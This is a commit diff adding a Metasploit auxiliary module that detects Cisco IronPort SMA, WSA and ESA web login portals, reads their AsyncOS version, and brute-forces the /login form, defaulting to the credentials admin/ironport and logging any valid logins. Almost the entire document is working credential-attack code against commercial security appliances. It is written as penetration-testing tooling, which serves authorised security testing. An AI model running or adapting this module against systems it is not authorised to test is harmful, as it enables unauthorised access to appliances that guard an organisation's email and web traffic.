Land rapid7#2224 - Add brute force module for Cisco IronPort

Author: wchen-r7

modules/auxiliary/scanner/http/cisco_ironport_enum.rb

@@ -0,0 +1,165 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'rex/proto/http'
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::AuthBrute
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'Cisco Ironport Bruteforce Login Utility',
+			'Description'    => %{
+				This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
+				version and performs login brute force to identify valid credentials.
+			},
+			'Author'         =>
+				[
+					'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
+				],
+			'License'        => MSF_LICENSE
+		))
+
+		register_options(
+			[
+				Opt::RPORT(443),
+				OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
+				OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
+				OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
+			], self.class)
+	end
+
+	def run_host(ip)
+		unless check_conn?
+			print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
+			return
+		end
+
+		unless is_app_ironport?
+			print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
+			return
+		end
+
+		print_status("#{rhost}:#{rport} - Starting login brute force...")
+		each_user_pass do |user, pass|
+			do_login(user, pass)
+		end
+	end
+
+	def check_conn?
+		begin
+			res = send_request_cgi(
+			{
+				'uri'       => '/',
+				'method'    => 'GET'
+			})
+			print_good("#{rhost}:#{rport} - Server is responsive...")
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+			return
+		end
+	end
+
+	#
+	# What's the point of running this module if the app actually isn't Cisco IronPort
+	#
+
+	def is_app_ironport?
+			res = send_request_cgi(
+			{
+				'uri'       => '/',
+				'method'    => 'GET'
+			})
+
+			if (res and res.headers['Set-Cookie'])
+
+				cookie = res.headers['Set-Cookie'].split('; ')[0]
+
+				res = send_request_cgi(
+				{
+					'uri'       => "/help/wwhelp/wwhimpl/common/html/default.htm",
+					'method'    => 'GET',
+					'cookie'	   => '#{cookie}'
+				})
+
+				if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
+					version_key = /Cisco IronPort AsyncOS (.+? )/
+					version = res.body.scan(version_key).flatten[0].gsub('"','')
+					product_key = /for (.*)</
+					product = res.body.scan(product_key).flatten[0]
+
+					if (product == 'Security Management Appliances')
+						p_name = 'Cisco IronPort Security Management Appliance (SMA)'
+						print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
+					elsif ( product == 'Cisco IronPort Web Security Appliances' )
+						p_name = 'Cisco IronPort Web Security Appliance (WSA)'
+						print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
+					elsif ( product == 'Cisco IronPort Appliances' )
+						p_name = 'Cisco IronPort Email Security Appliance (ESA)'
+						print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
+					end
+
+					return true
+				else
+					return false
+				end
+			else
+				return false
+			end
+	end
+
+	#
+	# Brute-force the login page
+	#
+
+	def do_login(user, pass)
+		vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+		begin
+			res = send_request_cgi(
+			{
+				'uri'       => '/login',
+				'method'    => 'POST',
+				'vars_post' =>
+					{
+						'action' => 'Login',
+						'referrer' => '',
+						'screen' => 'login',
+						'username' => user,
+						'password' => pass
+					}
+			})
+
+			if (res and res.headers['Set-Cookie'].include?('authenticated='))
+				print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
+
+				report_hash = {
+					:host   => rhost,
+					:port   => rport,
+					:sname  => 'Cisco IronPort Appliance',
+					:user   => user,
+					:pass   => pass,
+					:active => true,
+					:type => 'password'
+				}
+
+				report_auth_info(report_hash)
+				return :next_user
+
+			else
+				vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
+			end
+
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+			print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
+			return :abort
+		end
+	end
+end